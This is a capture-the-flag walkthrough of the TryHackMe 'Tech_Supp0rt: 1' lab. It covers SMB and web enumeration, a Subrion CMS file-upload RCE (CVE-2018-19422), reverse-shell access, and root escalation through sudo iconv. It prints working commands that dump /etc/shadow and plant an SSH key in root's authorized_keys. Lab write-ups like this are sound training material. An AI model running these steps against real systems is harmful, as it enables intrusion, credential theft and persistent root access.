Tech_Supp0rt: 1

https://tryhackme.com/room/techsupp0rt1

Nmap

nmap 10.10.195.72 -p- -sS -sV

PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
53/tcp  filtered domain
80/tcp  open     http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

First off we check SMB for null access and find the share websrv which is readable by anyone.

smbmap -H '10.10.195.72' -u '' -p '' -R

the file enter.txt is of interest, we then download it using smbmap.

smbmap -H '10.10.195.72' -u '' -p '' -R -A 'enter.txt'

Reading the contents of enter.txt we find this is a to-do list. We can make a note of the information.

The default page on port 80 comes to the default Apache 2 web page.

Running feroxbuster against the target system we discover a few interesting results.

feroxbuster -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/common.txt -s 200 

Under /test/index.html we find a fake scam web page.

We also find WordPress is installed under /wordpress/.

I enumerate the Wordpress site and tried to identify vulnerable plugins with WPScan and was unable to find any vulnerabilities.

Looking back at the information in the enter.txt file we are reminded of the presence of Subrion which is a CMS system.

Attempting to browse to /subrion redirects us incorrectly. The enter.txt file mentions fixing the issue by using the "panel". A quick Google search shows this normally exists under the directory name /panel.

Browsing to http://<IP>/subrion/panel/ proves successful.

However, we are unable to login to the system. Looking at the admin credentials earlier in enter.txt we see the remark "Cooked with magic formula".

Taking the hash value and running it through CyberChef's "Magic" options reveals the plain text password for the value.

We are then able to login successfully to the Subrion panel.

Researching vulnerabilities for Subrion 4.2.1 on Google we find the following CVE and exploit on Github.

CVE: https://nvd.nist.gov/vuln/detail/CVE-2018-19422

Description

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Github: https://github.com/h3v0x/CVE-2018-19422-SubrionCMS-RCE

As per the the Github repository we run the exploit with the following syntax:

python3 exploit.py -u 'http://10.10.26.125/subrion/panel/' -l 'admin'  -p <Password>

Where we receive a shell.

Unfortunately, for various reasons this shell is not ideal for what we need. As such I uploaded a PHP reverse shell and set up a netcat listener on my attacking system.

I was then able to catch a more reliable shell.

Next, upgrade to a TTY shell.

Shell Upgrades

Enumerating the WordPress install we find some credentials in wp-config.php.

Looking at /etc/passwd we see the user scamsite exists on the system. We are then able to switch over to the user with the found credentials.

Checking the sudo permissions for scamsite we see the user is able to run /usr/bin/iconv as root without specifying a password.

Viewing GTFOBins we see this binary can be used to perform privileged read and writes to the system.

GTFOBins: https://gtfobins.github.io/gtfobins/iconv/

We can go for an easy flag grab

sudo /usr/bin/iconv -f 8859_1 -t 8859_1 /etc/shadow

Alternatively we can grab a root SSH shell.

# Generate SSH key files on attacking system
ssh-keygen
# Keep hitting enter to generate a new /.ssh/id_rsa.pub

On the target system copy the contents of /.ssh/id_rsa.pub into the command below to create the authorized keys files in the /root/.ssh/ directory.

echo 'ssh-rsa AAAAB3NzaC1yAAADAQABAAABgQDnSqBG0mN7Ceqvr44mZHi4viNBtJKvCU2rOkhgwhhYDdExldniqHY4VIfQWnVlczB8WLSZjgtGJIbDf7IXXbBwTs42asHqz/aum0Oyz7AzZEi57cdTybj+6qFYiv6Znd2IxO9t0IsEjitzG9WoFoI52neyz4XoZwGZO1lsiBJNuy8hwMfB5aHI8xAaiRpTmDa/+G+lQN5yEBoSO8EUK8J4CeD2aO2WoAw8CHqy2zjYEHny1oIa4pjHVXsstv+GcScKWBcoT2pG/hRK9KZSs/pD3eOOypztMONOzlt2lfd5Eg5zNzlq+qbzzdA00XUtdfb2EV5oK3v4mKbEHT2HCKgtvzVQaLo4WCyNU2MiQ1Ia+MZjVwkdbr9lUKka3QSM1fBF7ozucmxvjzx2jd7b7gNf4B9qOJYYfQGc2gkS1ryldrWDEniGuEqI7jUqpG3uzVycTRqC0l+XROhW9VKUoUe5VSNyqVVXmWZzQ46ajLoWl4ZklBgnbL0CPU= kali@kali' | sudo /usr/bin/iconv -f 8859_1 -t 8859_1 -o /root/.ssh/authorized_keys

Then login to the target system as root without needing to specify a password.

ssh root@<IP>